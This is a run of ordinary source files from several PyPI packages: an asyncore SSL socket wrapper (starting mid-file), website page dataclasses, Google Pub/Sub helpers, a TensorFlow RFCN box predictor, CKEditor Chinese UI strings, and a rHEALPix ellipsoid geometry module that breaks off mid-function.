del self.env.fds[fileno]
# Fail events.
if self._reader is not None:
self._reader.fail(socket_error(errno.EBADF))
self._reader = None
if self._writer is not None:
self._writer.fail(socket_error(errno.EBADF))
self._writer = None
self.sock.close()
except socket.error as e:
if e.errno == errno.EBADF:
return
raise e
class SSLSocket(BaseSSLSocket):
def __init__(self, env, sock=None, **kwargs):
BaseSSLSocket.__init__(self, env, sock, **kwargs)
# FIXME This code duplication with TCPSocket is ugly. Maybe provide SSL
# functionality as a mixin?
# Create handler and attach callbacks.
# Note: asyncore.dispatcher will overwrite the fd entry in the fd map.
self.handler = asyncore.dispatcher(self.sock, map=self.env.fds)
self.handler.readable = self._readable
self.handler.handle_read = self._do_read
self.handler.handle_accept = self._do_accept
self.handler.writable = self._writable
self.handler.handle_write = self._do_write
self._handshake_read = None
self._handshake_write = None
# FIXME See above for code duplication.
def bind(self, address):
self.sock.bind(address)
self.handler.handle_read = self._do_accept
# FIXME See above for code duplication.
def _readable(self):
return self._reader is not None
# FIXME See above for code duplication.
def _writable(self):
return self._writer is not None
def _ssl_readable(self):
return self._ssl_event is not None and self._handshake_read
def _ssl_writable(self):
return self._ssl_event is not None and self._handshake_write
def _do_read(self):
try:
self._reader._value = self.sock.recv(self._reader.amount)
if not self._reader._value:
self._reader.ok = False
self._reader._value = socket_error(errno.ECONNRESET)
else:
self._reader.ok = True
self.env.schedule(self._reader)
except (BlockingIOError, ssl.SSLWantReadError):
return
except socket.error as e:
if e.errno in blocking_io_errors:
# Python 2 branch.
return
self._reader.fail(e)
self._reader = None
def _do_write(self):
try:
self._writer._value = self.sock.send(self._writer.data)
self._writer.ok = True
self.env.schedule(self._writer)
except (BlockingIOError, ssl.SSLWantWriteError):
if e.errno in blocking_io_errors:
# Python 2 branch.
return
return
except socket.error as e:
self._writer.fail(e)
self._writer = None
def _do_accept(self):
try:
sock = type(self)(self.env, self.sock.accept()[0])
sock.handshake(False)
self._reader._value = sock
self._reader.ok = True
self.env.schedule(self._reader)
except BlockingIOError:
return
except socket.error as e:
if e.errno in blocking_io_errors:
# Python 2 branch.
return
self._reader.fail(e)
self._reader = None
def _ssl_handshake_read(self):
self._ssl_event = self.env.event()
self._handshake_read = True
def _ssl_handshake_write(self):
self._ssl_event = self.env.event()
self._handshake_write = True
def handshake(self, initiate=True):
# FIXME Ugly hack.
BaseSSLSocket.handshake(self, initiate)
self.handler.readable = self._ssl_readable
self.handler.writable = self._ssl_writable
self.handler.handle_read = self._do_handshake
self.handler.handle_write = self._do_handshake
def _do_handshake(self):
# FIXME Ugly hack.
self._handshake_read = False
self._handshake_write = False
BaseSSLSocket._do_handshake(self)
if self._ssl_event is None:
self.handler.readable = self._readable
self.handler.writable = self._writable
self.handler.handle_read = self._do_read
self.handler.handle_write = self._do_write
def close(self):
try:
fileno = self.fileno()
del self.env.fds[fileno]
# FIXME Abort ssl_events of the handshake.
# Fail events.
if self._reader is not None:
self._reader.fail(socket_error(errno.EBADF))
self._reader = None
if self._writer is not None:
self._writer.fail(socket_error(errno.EBADF))
self._writer = None
self.sock.close()
except socket.error as e:
if e.errno == errno.EBADF:
return
raise e
|
PypiClean
|
/datafest_archive-0.1.0.tar.gz/datafest_archive-0.1.0/datafest_archive/models/website/pages.py
|
from typing import List, Optional, Union
from dataclasses import dataclass
from datetime import datetime
@dataclass
class Image:
name: str
caption: str
focal_point: str
preview_only: bool
path: str
@dataclass
class Social:
icon: str
icon_pack: str
link: str
@dataclass
class Organization:
name: str
url: Optional[str]
@dataclass
class Course:
course: str
institution: str
year: Optional[int]
@dataclass
class Education:
courses: list[Course]
@dataclass
class PeoplePage:
title: Optional[str]
role: str
first_name: str
last_name: str
user_groups: list[str]
social: list[Social]
bio: str
education: Optional[Education]
email: str
organizations: Optional[list[Organization]]
@dataclass
class ProjectPage:
title: str
summary: str
authors: list[str]
tags: list[str]
categories: list[str]
date: str
weight: int
external_link: Optional[str]
image: Optional[Image]
url_code: Optional[str]
url_pdf: Optional[str]
url_slides: Optional[str]
url_video: Optional[str]
slides: Optional[str]
@dataclass
class Pages:
name: str
url: str
weight: int
@dataclass
class Header:
caption: str
image: Image
@dataclass
class SimplePage:
title: str
summary: str
header: Optional[Header]
@dataclass
class Filters:
folders: list[str]
tags: list[str]
exclude_tags: list[str]
kinds: list[str]
@dataclass
class FilterButton:
name: str
tag: str
weight: int
@dataclass
class PortfolioWidget:
title: str
filters: Filters
sort_by: str
sort_ascending: bool
default_button_index: int
filter_button: list[FilterButton]
@dataclass
class Block:
id: str
block: str
content: PortfolioWidget
@dataclass
class PeopleContent:
user_groups: list[str]
@dataclass
class PeopleWidget:
title: str
subtitle: str
date: str
headless: bool
widget: str
content: PeopleContent
@dataclass
class DesignProject:
columns: str = "2"
view: str = "card"
@dataclass
class DesignWidget:
show_interests: Optional[bool]
show_role: Optional[bool]
show_social: Optional[bool]
@dataclass
class WidgetPage:
title: str
subtitle: str
date: str
headless: bool
type: str
widget: str
content: PortfolioWidget
design: DesignProject
@dataclass
class ComplexPage:
title: str
date: str
type: str
sections: list[Block]
Page = Union[PeoplePage, ProjectPage, SimplePage]
DateTimeNone = Union[datetime, None]
|
PypiClean
|
/cryptofeed-werks-0.1.5.tar.gz/cryptofeed-werks-0.1.5/cryptofeed_werks/utils.py
|
import base64
import json
from typing import Optional
from decouple import config
from google.api_core import retry
from google.cloud import pubsub_v1
from google.protobuf.timestamp_pb2 import Timestamp
from .constants import CRYPTOFEED_WERKS, PROJECT_ID
def get_topic_path():
return pubsub_v1.PublisherClient().topic_path(config(PROJECT_ID), CRYPTOFEED_WERKS)
def get_subscription_path(topic):
return pubsub_v1.SubscriberClient().subscription_path(config(PROJECT_ID), topic)
def get_messages(topic_id, retry_deadline=5):
subscriber = pubsub_v1.SubscriberClient()
project_id = config(PROJECT_ID)
subscription_path = subscriber.subscription_path(project_id, topic_id)
with subscriber:
response = subscriber.pull(
{"subscription": subscription_path, "max_messages": 1000000},
retry=retry.Retry(deadline=retry_deadline),
)
if response.received_messages:
# Acknowledge, at most once promise is fulfilled
subscriber.acknowledge(
request={
"subscription": subscription_path,
"ack_ids": [msg.ack_id for msg in response.received_messages],
}
)
return response.received_messages
def delete_messages(topic_id, timestamp_from, retry_deadline=5):
subscriber = pubsub_v1.SubscriberClient()
project_id = config(PROJECT_ID)
subscription_path = subscriber.subscription_path(project_id, topic_id)
# https://cloud.google.com/pubsub/docs/replay-qs#seek_to_a_timestamp
t = timestamp_from.timestamp()
timestamp = Timestamp(seconds=int(t), nanos=int(t % 1 * 1e9))
request = {"subscription": subscription_path, "time": timestamp}
with subscriber:
subscriber.seek(request, retry=retry.Retry(deadline=retry_deadline))
def get_request_data(request, keys):
"""For HTTP functions"""
data = {key: None for key in keys}
json_data = request.get_json()
param_data = request.args
for key in keys:
if key in json_data:
data[key] = json_data[key]
elif key in param_data:
data[key] = param_data[key]
return data
def base64_decode_event(event):
"""
Use with pub/sub functions:
def pubsub_function(event, context):
data = base64_decode_event(event)
"""
if "data" in event:
data = base64.b64decode(event["data"]).decode()
return json.loads(data)
else:
return {}
def base64_encode_dict(data: dict) -> str:
d = json.dumps(data).encode()
return base64.b64encode(d)
def publish(topic_id: str, data: dict) -> None:
publisher = pubsub_v1.PublisherClient()
topic_path = publisher.topic_path(config(PROJECT_ID), topic_id)
publisher.publish(topic_path, json.dumps(data).encode())
def get_container_name(
hostname: str = "asia.gcr.io",
image: str = CRYPTOFEED_WERKS,
tag: Optional[str] = None,
) -> str:
project_id = config(PROJECT_ID)
container_name = f"{hostname}/{project_id}/{image}"
if tag:
container_name += f":{tag}"
return container_name
|
PypiClean
|
/picsellia_tf2-0.11.10.tar.gz/picsellia_tf2-0.11.10/picsellia_tf2/object_detection/predictors/rfcn_keras_box_predictor.py
|
"""RFCN Box Predictor."""
import tensorflow.compat.v1 as tf
from object_detection.core import box_predictor
from object_detection.utils import ops
BOX_ENCODINGS = box_predictor.BOX_ENCODINGS
CLASS_PREDICTIONS_WITH_BACKGROUND = (
box_predictor.CLASS_PREDICTIONS_WITH_BACKGROUND)
MASK_PREDICTIONS = box_predictor.MASK_PREDICTIONS
class RfcnKerasBoxPredictor(box_predictor.KerasBoxPredictor):
"""RFCN Box Predictor.
Applies a position sensitive ROI pooling on position sensitive feature maps to
predict classes and refined locations. See https://arxiv.org/abs/1605.06409
for details.
This is used for the second stage of the RFCN meta architecture. Notice that
locations are *not* shared across classes, thus for each anchor, a separate
prediction is made for each class.
"""
def __init__(self,
is_training,
num_classes,
conv_hyperparams,
freeze_batchnorm,
num_spatial_bins,
depth,
crop_size,
box_code_size,
name=None):
"""Constructor.
Args:
is_training: Indicates whether the BoxPredictor is in training mode.
num_classes: number of classes. Note that num_classes *does not*
include the background category, so if groundtruth labels take values
in {0, 1, .., K-1}, num_classes=K (and not K+1, even though the
assigned classification targets can range from {0,... K}).
conv_hyperparams: A `hyperparams_builder.KerasLayerHyperparams` object
containing hyperparameters for convolution ops.
freeze_batchnorm: Whether to freeze batch norm parameters during
training or not. When training with a small batch size (e.g. 1), it is
desirable to freeze batch norm update and use pretrained batch norm
params.
num_spatial_bins: A list of two integers `[spatial_bins_y,
spatial_bins_x]`.
depth: Target depth to reduce the input feature maps to.
crop_size: A list of two integers `[crop_height, crop_width]`.
box_code_size: Size of encoding for each box.
name: A string name scope to assign to the box predictor. If `None`, Keras
will auto-generate one from the class name.
"""
super(RfcnKerasBoxPredictor, self).__init__(
is_training, num_classes, freeze_batchnorm=freeze_batchnorm,
inplace_batchnorm_update=False, name=name)
self._freeze_batchnorm = freeze_batchnorm
self._conv_hyperparams = conv_hyperparams
self._num_spatial_bins = num_spatial_bins
self._depth = depth
self._crop_size = crop_size
self._box_code_size = box_code_size
# Build the shared layers used for both heads
self._shared_conv_layers = []
self._shared_conv_layers.append(
tf.keras.layers.Conv2D(
self._depth,
[1, 1],
padding='SAME',
name='reduce_depth_conv',
**self._conv_hyperparams.params()))
self._shared_conv_layers.append(
self._conv_hyperparams.build_batch_norm(
training=(self._is_training and not self._freeze_batchnorm),
name='reduce_depth_batchnorm'))
self._shared_conv_layers.append(
self._conv_hyperparams.build_activation_layer(
name='reduce_depth_activation'))
self._box_encoder_layers = []
location_feature_map_depth = (self._num_spatial_bins[0] *
self._num_spatial_bins[1] *
self.num_classes *
self._box_code_size)
self._box_encoder_layers.append(
tf.keras.layers.Conv2D(
location_feature_map_depth,
[1, 1],
padding='SAME',
name='refined_locations_conv',
**self._conv_hyperparams.params()))
self._box_encoder_layers.append(
self._conv_hyperparams.build_batch_norm(
training=(self._is_training and not self._freeze_batchnorm),
name='refined_locations_batchnorm'))
self._class_predictor_layers = []
self._total_classes = self.num_classes + 1 # Account for background class.
class_feature_map_depth = (self._num_spatial_bins[0] *
self._num_spatial_bins[1] *
self._total_classes)
self._class_predictor_layers.append(
tf.keras.layers.Conv2D(
class_feature_map_depth,
[1, 1],
padding='SAME',
name='class_predictions_conv',
**self._conv_hyperparams.params()))
self._class_predictor_layers.append(
self._conv_hyperparams.build_batch_norm(
training=(self._is_training and not self._freeze_batchnorm),
name='class_predictions_batchnorm'))
@property
def num_classes(self):
return self._num_classes
def _predict(self, image_features, proposal_boxes, **kwargs):
"""Computes encoded object locations and corresponding confidences.
Args:
image_features: A list of float tensors of shape [batch_size, height_i,
width_i, channels_i] containing features for a batch of images.
proposal_boxes: A float tensor of shape [batch_size, num_proposals,
box_code_size].
**kwargs: Unused Keyword args
Returns:
box_encodings: A list of float tensors of shape
[batch_size, num_anchors_i, q, code_size] representing the location of
the objects, where q is 1 or the number of classes. Each entry in the
list corresponds to a feature map in the input `image_features` list.
class_predictions_with_background: A list of float tensors of shape
[batch_size, num_anchors_i, num_classes + 1] representing the class
predictions for the proposals. Each entry in the list corresponds to a
feature map in the input `image_features` list.
Raises:
ValueError: if num_predictions_per_location is not 1 or if
len(image_features) is not 1.
"""
if len(image_features) != 1:
raise ValueError('length of `image_features` must be 1. Found {}'.
format(len(image_features)))
image_feature = image_features[0]
batch_size = tf.shape(proposal_boxes)[0]
num_boxes = tf.shape(proposal_boxes)[1]
net = image_feature
for layer in self._shared_conv_layers:
net = layer(net)
# Location predictions.
box_net = net
for layer in self._box_encoder_layers:
box_net = layer(box_net)
box_encodings = ops.batch_position_sensitive_crop_regions(
box_net,
boxes=proposal_boxes,
crop_size=self._crop_size,
num_spatial_bins=self._num_spatial_bins,
global_pool=True)
box_encodings = tf.squeeze(box_encodings, axis=[2, 3])
box_encodings = tf.reshape(box_encodings,
[batch_size * num_boxes, 1, self.num_classes,
self._box_code_size])
# Class predictions.
class_net = net
for layer in self._class_predictor_layers:
class_net = layer(class_net)
class_predictions_with_background = (
ops.batch_position_sensitive_crop_regions(
class_net,
boxes=proposal_boxes,
crop_size=self._crop_size,
num_spatial_bins=self._num_spatial_bins,
global_pool=True))
class_predictions_with_background = tf.squeeze(
class_predictions_with_background, axis=[2, 3])
class_predictions_with_background = tf.reshape(
class_predictions_with_background,
[batch_size * num_boxes, 1, self._total_classes])
return {BOX_ENCODINGS: [box_encodings],
CLASS_PREDICTIONS_WITH_BACKGROUND:
[class_predictions_with_background]}
|
PypiClean
|
/uliweb_ui-0.1.0-py3-none-any.whl/uliweb_ui/static/modules/ckeditor/4.6.2/lang/zh-cn.js
|
/*
Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.lang['zh-cn']={"editor":"所见即所得编辑器","editorPanel":"所见即所得编辑器面板","common":{"editorHelp":"按 ALT+0 获得帮助","browseServer":"浏览服务器","url":"URL","protocol":"协议","upload":"上传","uploadSubmit":"上传到服务器","image":"图像","flash":"Flash","form":"表单","checkbox":"复选框","radio":"单选按钮","textField":"单行文本","textarea":"多行文本","hiddenField":"隐藏域","button":"按钮","select":"列表/菜单","imageButton":"图像按钮","notSet":"<没有设置>","id":"ID","name":"名称","langDir":"语言方向","langDirLtr":"从左到右 (LTR)","langDirRtl":"从右到左 (RTL)","langCode":"语言代码","longDescr":"详细说明 URL","cssClass":"样式类名称","advisoryTitle":"标题","cssStyle":"行内样式","ok":"确定","cancel":"取消","close":"关闭","preview":"预览","resize":"拖拽以改变大小","generalTab":"常规","advancedTab":"高级","validateNumberFailed":"需要输入数字格式","confirmNewPage":"当前文档内容未保存,是否确认新建文档?","confirmCancel":"部分修改尚未保存,是否确认关闭对话框?","options":"选项","target":"目标窗口","targetNew":"新窗口 (_blank)","targetTop":"整页 (_top)","targetSelf":"本窗口 (_self)","targetParent":"父窗口 (_parent)","langDirLTR":"从左到右 (LTR)","langDirRTL":"从右到左 (RTL)","styles":"样式","cssClasses":"样式类","width":"宽度","height":"高度","align":"对齐方式","alignLeft":"左对齐","alignRight":"右对齐","alignCenter":"居中","alignJustify":"两端对齐","alignTop":"顶端","alignMiddle":"居中","alignBottom":"底部","alignNone":"无","invalidValue":"无效的值。","invalidHeight":"高度必须为数字格式","invalidWidth":"宽度必须为数字格式","invalidCssLength":"此“%1”字段的值必须为正数,可以包含或不包含一个有效的 CSS 长度单位(px, %, in, cm, mm, em, ex, pt 或 pc)","invalidHtmlLength":"此“%1”字段的值必须为正数,可以包含或不包含一个有效的 HTML 长度单位(px 或 %)","invalidInlineStyle":"内联样式必须为格式是以分号分隔的一个或多个“属性名 : 属性值”。","cssLengthTooltip":"输入一个表示像素值的数字,或加上一个有效的 CSS 长度单位(px, %, in, cm, mm, em, ex, pt 或 pc)。","unavailable":"%1<span class=\"cke_accessibility\">,不可用</span>","keyboard":{"8":"退格键","13":"回车键","16":"Shift","17":"Ctrl","18":"Alt","32":"空格键","35":"行尾键","36":"行首键","46":"删除键","224":"Command"},"keyboardShortcut":"快捷键"},"about":{"copy":"版权所有 © $1。<br />保留所有权利。","dlgTitle":"关于 CKEditor","help":"访问 $1 以获取帮助。","moreInfo":"相关授权许可信息请访问我们的网站:","title":"关于 CKEditor","userGuide":"CKEditor 用户向导"},"basicstyles":{"bold":"加粗","italic":"倾斜","strike":"删除线","subscript":"下标","superscript":"上标","underline":"下划线"},"blockquote":{"toolbar":"块引用"},"clipboard":{"copy":"复制","copyError":"您的浏览器安全设置不允许编辑器自动执行复制操作,请使用键盘快捷键(Ctrl/Cmd+C)来完成。","cut":"剪切","cutError":"您的浏览器安全设置不允许编辑器自动执行剪切操作,请使用键盘快捷键(Ctrl/Cmd+X)来完成。","paste":"粘贴","pasteArea":"粘贴区域","pasteMsg":"请使用键盘快捷键(<STRONG>Ctrl/Cmd+V</STRONG>)把内容粘贴到下面的方框里,再按 <STRONG>确定</STRONG>","securityMsg":"因为您的浏览器的安全设置原因,本编辑器不能直接访问您的剪贴板内容,你需要在本窗口重新粘贴一次。","title":"粘贴"},"contextmenu":{"options":"快捷菜单选项"},"button":{"selectedLabel":"已选中 %1 项"},"toolbar":{"toolbarCollapse":"折叠工具栏","toolbarExpand":"展开工具栏","toolbarGroups":{"document":"文档","clipboard":"剪贴板/撤销","editing":"编辑","forms":"表单","basicstyles":"基本格式","paragraph":"段落","links":"链接","insert":"插入","styles":"样式","colors":"颜色","tools":"工具"},"toolbars":"工具栏"},"elementspath":{"eleLabel":"元素路径","eleTitle":"%1 元素"},"format":{"label":"格式","panelTitle":"格式","tag_address":"地址","tag_div":"段落(DIV)","tag_h1":"标题 1","tag_h2":"标题 2","tag_h3":"标题 3","tag_h4":"标题 4","tag_h5":"标题 5","tag_h6":"标题 6","tag_p":"普通","tag_pre":"已编排格式"},"horizontalrule":{"toolbar":"插入水平线"},"image":{"alt":"替换文本","border":"边框大小","btnUpload":"上传到服务器","button2Img":"确定要把当前图像按钮转换为普通图像吗?","hSpace":"水平间距","img2Button":"确定要把当前图像改变为图像按钮吗?","infoTab":"图像信息","linkTab":"链接","lockRatio":"锁定比例","menu":"图像属性","resetSize":"原始尺寸","title":"图像属性","titleButton":"图像域属性","upload":"上传","urlMissing":"缺少图像源文件地址","vSpace":"垂直间距","validateBorder":"边框大小必须为整数格式","validateHSpace":"水平间距必须为整数格式","validateVSpace":"垂直间距必须为整数格式"},"indent":{"indent":"增加缩进量","outdent":"减少缩进量"},"fakeobjects":{"anchor":"锚点","flash":"Flash 动画","hiddenfield":"隐藏域","iframe":"IFrame","unknown":"未知对象"},"link":{"acccessKey":"访问键","advanced":"高级","advisoryContentType":"内容类型","advisoryTitle":"标题","anchor":{"toolbar":"插入/编辑锚点链接","menu":"锚点链接属性","title":"锚点链接属性","name":"锚点名称","errorName":"请输入锚点名称","remove":"删除锚点"},"anchorId":"按锚点 ID","anchorName":"按锚点名称","charset":"字符编码","cssClasses":"样式类名称","download":"强制下载","displayText":"显示文本","emailAddress":"地址","emailBody":"内容","emailSubject":"主题","id":"ID","info":"超链接信息","langCode":"语言代码","langDir":"语言方向","langDirLTR":"从左到右 (LTR)","langDirRTL":"从右到左 (RTL)","menu":"编辑超链接","name":"名称","noAnchors":"(此文档没有可用的锚点)","noEmail":"请输入电子邮件地址","noUrl":"请输入超链接地址","other":"<其他>","popupDependent":"依附 (NS)","popupFeatures":"弹出窗口属性","popupFullScreen":"全屏 (IE)","popupLeft":"左","popupLocationBar":"地址栏","popupMenuBar":"菜单栏","popupResizable":"可缩放","popupScrollBars":"滚动条","popupStatusBar":"状态栏","popupToolbar":"工具栏","popupTop":"右","rel":"关联","selectAnchor":"选择一个锚点","styles":"行内样式","tabIndex":"Tab 键次序","target":"目标","targetFrame":"<框架>","targetFrameName":"目标框架名称","targetPopup":"<弹出窗口>","targetPopupName":"弹出窗口名称","title":"超链接","toAnchor":"页内锚点链接","toEmail":"电子邮件","toUrl":"地址","toolbar":"插入/编辑超链接","type":"超链接类型","unlink":"取消超链接","upload":"上传"},"list":{"bulletedlist":"项目列表","numberedlist":"编号列表"},"magicline":{"title":"在这插入段落"},"maximize":{"maximize":"全屏","minimize":"最小化"},"pastetext":{"button":"粘贴为无格式文本","title":"粘贴为无格式文本"},"pastefromword":{"confirmCleanup":"您要粘贴的内容好像是来自 MS Word,是否要清除 MS Word 格式后再粘贴?","error":"由于内部错误无法清理要粘贴的数据","title":"从 MS Word 粘贴","toolbar":"从 MS Word 粘贴"},"removeformat":{"toolbar":"清除格式"},"sourcearea":{"toolbar":"源码"},"specialchar":{"options":"特殊符号选项","title":"选择特殊符号","toolbar":"插入特殊符号"},"scayt":{"btn_about":"关于即时拼写检查","btn_dictionaries":"字典","btn_disable":"禁用即时拼写检查","btn_enable":"启用即时拼写检查","btn_langs":"语言","btn_options":"选项","text_title":"即时拼写检查"},"stylescombo":{"label":"样式","panelTitle":"样式","panelTitle1":"块级元素样式","panelTitle2":"内联元素样式","panelTitle3":"对象元素样式"},"table":{"border":"边框","caption":"标题","cell":{"menu":"单元格","insertBefore":"在左侧插入单元格","insertAfter":"在右侧插入单元格","deleteCell":"删除单元格","merge":"合并单元格","mergeRight":"向右合并单元格","mergeDown":"向下合并单元格","splitHorizontal":"水平拆分单元格","splitVertical":"垂直拆分单元格","title":"单元格属性","cellType":"单元格类型","rowSpan":"纵跨行数","colSpan":"横跨列数","wordWrap":"自动换行","hAlign":"水平对齐","vAlign":"垂直对齐","alignBaseline":"基线","bgColor":"背景颜色","borderColor":"边框颜色","data":"数据","header":"表头","yes":"是","no":"否","invalidWidth":"单元格宽度必须为数字格式","invalidHeight":"单元格高度必须为数字格式","invalidRowSpan":"行跨度必须为整数格式","invalidColSpan":"列跨度必须为整数格式","chooseColor":"选择"},"cellPad":"边距","cellSpace":"间距","column":{"menu":"列","insertBefore":"在左侧插入列","insertAfter":"在右侧插入列","deleteColumn":"删除列"},"columns":"列数","deleteTable":"删除表格","headers":"标题单元格","headersBoth":"第一列和第一行","headersColumn":"第一列","headersNone":"无","headersRow":"第一行","invalidBorder":"边框粗细必须为数字格式","invalidCellPadding":"单元格填充必须为数字格式","invalidCellSpacing":"单元格间距必须为数字格式","invalidCols":"指定的行数必须大于零","invalidHeight":"表格高度必须为数字格式","invalidRows":"指定的列数必须大于零","invalidWidth":"表格宽度必须为数字格式","menu":"表格属性","row":{"menu":"行","insertBefore":"在上方插入行","insertAfter":"在下方插入行","deleteRow":"删除行"},"rows":"行数","summary":"摘要","title":"表格属性","toolbar":"表格","widthPc":"百分比","widthPx":"像素","widthUnit":"宽度单位"},"undo":{"redo":"重做","undo":"撤消"},"wsc":{"btnIgnore":"忽略","btnIgnoreAll":"全部忽略","btnReplace":"替换","btnReplaceAll":"全部替换","btnUndo":"撤消","changeTo":"更改为","errorLoading":"加载应该服务主机时出错: %s.","ieSpellDownload":"拼写检查插件还没安装, 您是否想现在就下载?","manyChanges":"拼写检查完成: 更改了 %1 个单词","noChanges":"拼写检查完成: 没有更改任何单词","noMispell":"拼写检查完成: 没有发现拼写错误","noSuggestions":"- 没有建议 -","notAvailable":"抱歉, 服务目前暂不可用","notInDic":"没有在字典里","oneChange":"拼写检查完成: 更改了一个单词","progress":"正在进行拼写检查...","title":"拼写检查","toolbar":"拼写检查"},"widget":{"move":"点击并拖拽以移动","label":"%1 小部件"},"filetools":{"loadError":"读取文件时发生错误","networkError":"上传文件时发生网络错误","httpError404":"上传文件时发生 HTTP 错误(404:无法找到文件)","httpError403":"上传文件时发生 HTTP 错误(403:禁止访问)","httpError":"上传文件时发生 HTTP 错误(错误代码:%1)","noUrlError":"上传的 URL 未定义","responseError":"不正确的服务器响应"},"notification":{"closed":"通知已关闭"},"uploadwidget":{"abort":"上传已被用户中止","doneOne":"文件上传成功","doneMany":"成功上传了 %1 个文件","uploadOne":"正在上传文件({percentage}%)...","uploadMany":"正在上传文件,{max} 中的 {current}({percentage}%)..."},"selectall":{"toolbar":"全选"},"preview":{"preview":"预览"},"lightbox":{"label":"Lightbox","url":"Image to display in Lightbox","preview":"Preview","title":"Image title","gallery":"Gallery name"},"codesnippet":{"button":"插入代码段","codeContents":"代码内容","emptySnippetError":"插入的代码不能为空。","language":"代码语言","title":"代码段","pathName":"代码段"}};
|
PypiClean
|
/rHEALPixDGGS-0.5.3-py3-none-any.whl/rhealpixdggs/ellipsoids.py
|
# Import third-party modules.
from numpy import pi, sqrt, sin, cos, arcsin, arctanh, deg2rad, rad2deg
# Import standard modules.
from random import uniform
# Import my modules.
from rhealpixdggs.utils import my_round, auth_lat, auth_rad
# Parameters of some common ellipsoids.
WGS84_A = 6378137.0
WGS84_F = 1 / 298.257222101 # ORIGINAL: GRS80 from EPSG:42310 298.257222101, based on WGS84+GRS80
# WGS84_F = 1 / 298.257222100882711 # GRS80 from https://en.wikipedia.org/wiki/World_Geodetic_System
# WGS84_F = 1 / 298.257223563 # new value from EPSG:7030
WGS84_B = WGS84_A * (1 - WGS84_F)
WGS84_E = sqrt(WGS84_F * (1 - WGS84_F))
WGS84_R_A = sqrt(WGS84_A ** 2 / 2 + WGS84_B ** 2 / 2 * (arctanh(WGS84_E) / WGS84_E))
R_EM = 6371000 # Earth's mean radius
class Ellipsoid(object):
"""
Represents an ellipsoid of revolution (possibly a sphere) with a
geodetic longitude-latitude coordinate frame.
INSTANCE ATTRIBUTES:
- `sphere` - True if the ellipsoid is a sphere, and False otherwise.
- `R` - The radius of the ellipsoid in meters, implying that it is a
sphere.
- `a` - Major radius of the ellipsoid in meters.
- `b` - Minor radius of the ellipsoid in meters.
- `e` - Eccentricity of the ellipsoid.
- `f` - Flattening of the ellipsoid.
- `R_A` - Authalic radius of the ellipsoid in meters.
- `lon_0` - Central meridian.
- `lat_0` - Latitude of origin.
- `radians` - If True, use angles measured in radians for all calculations.
Use degrees otherwise.
- `phi_0` - The latitude separating the equatorial region and
the north polar region in the context of the (r)HEALPix projection.
Except for phi_0, these attribute names match the names of the
`PROJ.4 ellipsoid parameters <http://trac.osgeo.org/proj/wiki/GenParms>`_.
"""
def __init__(
self,
R=None,
a=WGS84_A,
b=None,
e=None,
f=WGS84_F,
lon_0=0,
lat_0=0,
radians=False,
):
self.lon_0 = lon_0
self.lat_0 = lat_0
self.radians = radians
if R is not None:
# The ellipsoid is a sphere.
# Override the other geometric parameters.
self.sphere = True
self.R = R
self.a = R
self.b = R
self.e = 0
self.f = 0
self.R_A = R
else:
self.sphere = False
self.a = a
if b is not None:
# Derive the other geometric parameters from a and b.
self.b = b
self.e = sqrt(1 - (b / a) ** 2)
self.f = (a - b) / a
elif e is not None:
# Derive the other geometric parameters from a and e.
self.e = e
self.b = a * sqrt(1 - e ** 2)
self.f = 1 - sqrt(1 - e ** 2)
else:
self.f = f
self.b = self.a * (1 - f)
self.e = sqrt(f * (1 - f))
self.R_A = auth_rad(self.a, self.e)
self.phi_0 = auth_lat(arcsin(2.0 / 3), e=self.e, radians=True, inverse=True)
if not self.radians:
# Convert to degrees.
self.phi_0 = rad2deg(self.phi_0)
def __str__(self):
result = ["ellipsoid:"]
# result.append('lengths measured in meters')
for (k, v) in sorted(self.__dict__.items()):
if k == "phi_0":
continue
if k in {"sphere", "radians"}:
result.append(" " + k + " = " + str(v))
else:
result.append(" " + k + " = " + str(my_round(v, 15)))
return "\n".join(result)
def __eq__(self, other):
if self.a == other.a and self.b == other.b:
return True
else:
return False
def __ne__(self, other):
"""
The inequality relation on cells.
Since Python 3.3 doesn't automatically create reverse relations
from given ones, i must define this seemingly redundant relation.
"""
return not self.__eq__(other)
def pi(self):
"""
Return pi if `self.radians` = True and 180 otherwise.
"""
if self.radians:
return pi
else:
return 180.0
def random_point(self, lam_min=None, lam_max=None, phi_min=None, phi_max=None):
"""
Return a point (given in geodetic coordinates) sampled uniformly at
random from the section of this ellipsoid with longitude in the range
`lam_min <= lam < lam_max` and latitude in the range
`phi_min <= phi < phi_max`.
But avoid the poles.
EXAMPLES::
>>> E = UNIT_SPHERE
>>> print(E.random_point()) # doctest: +SKIP
(-1.0999574573422948, 0.21029104897701129)
"""
PI = self.pi()
if lam_min is None:
lam_min = -PI
if lam_max is None:
lam_max = PI
if phi_min is None:
phi_min = -PI / 2
if phi_max is None:
phi_max = PI / 2
if not self.radians:
# Convert to radians.
lam_min, lam_max, phi_min, phi_max = deg2rad(
[lam_min, lam_max, phi_min, phi_max]
)
# Pick a longitude.
while True:
u = uniform(0, 1)
lam = (lam_max - lam_min) * u + lam_min
# Don't include lam_max.
if lam < lam_max:
# Success.
break
# Pick a latitude.
delta = pi / 360
while True:
v = uniform(0, 1)
if self.sphere:
phi = arcsin((sin(phi_max) - sin(phi_min)) * v + sin(phi_min))
else:
# Sample from the authalic sphere.
# The map from the ellipsoid to the authalic sphere is
# an equiareal diffeomorphism.
# So a uniform distribution on the authalic sphere gives
# rise to a uniform distribution on the ellipsoid.
beta0 = auth_lat(phi_min, e=self.e, radians=True)
beta1 = auth_lat(phi_max, e=self.e, radians=True)
beta = arcsin((sin(beta1) - sin(beta0)) * v + sin(beta0))
phi = auth_lat(beta, e=self.e, radians=True, inverse=True)
# Avoid the poles.
if abs(phi) <= pi / 2 - delta:
# Success.
break
if not self.radians:
# Convert back to degrees.
lam, phi = rad2deg([lam, phi])
return lam, phi
def lattice(self, n=90):
"""
Return a 2n x n square lattice of longitude-latitude points.
EXAMPLES::
>>> E = UNIT_SPHERE
>>> for p in E.lattice(n=3):
... print(p)
(-150.0, -60.0)
(-150.0, 0.0)
(-150.0, 60.0)
(-90.0, -60.0)
(-90.0, 0.0)
(-90.0, 60.0)
(-30.0, -60.0)
(-30.0, 0.0)
(-30.0, 60.0)
(30.0, -60.0)
(30.0, 0.0)
(30.0, 60.0)
(90.0, -60.0)
(90.0, 0.0)
(90.0, 60.0)
(150.0, -60.0)
(150.0, 0.0)
(150.0, 60.0)
"""
PI = self.pi()
# Longitudinal and latitudinal spacing between points.
delta = PI / n
return [
(-PI + delta * (0.5 + i), -PI / 2 + delta * (0.5 + j))
